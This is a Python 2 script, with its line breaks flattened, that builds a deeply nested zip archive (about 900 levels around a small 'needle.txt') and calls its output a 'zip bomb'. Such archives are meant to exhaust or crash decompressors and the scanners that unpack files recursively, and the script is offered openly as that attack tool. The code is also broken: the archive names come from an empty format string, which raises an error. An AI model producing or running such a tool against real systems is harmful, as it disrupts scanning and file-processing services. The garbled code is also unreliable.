import os, zipfile, StringIO def GetZipWith(fname, content): fp = StringIO.StringIO() zf = zipfile.ZipFile(fp, "a", zipfile.ZIP_DEFLATED, False) zf.writestr(fname, content) zf.close() return fp.getvalue() def CreateRecursiveZip(stack, fname, content): if stack: zipname = stack.pop() arcname, outer = CreateRecursiveZip(stack, fname, content) print "Adding '%s' to zipfile '%s' (%d bytes)" % (arcname, zipname, len(outer)) return zipname, GetZipWith(zipname, outer) else: print "Creating '%s'" % fname return fname, GetZipWith(fname, content) if __name__ == "__main__": depth = 900 stack = ["" % i for i in xrange(1,depth)] arcname, out = CreateRecursiveZip(stack, "needle.txt", "my data") print "Writing zip bomb to '%s'" % arcname file(arcname, "wb").write(out)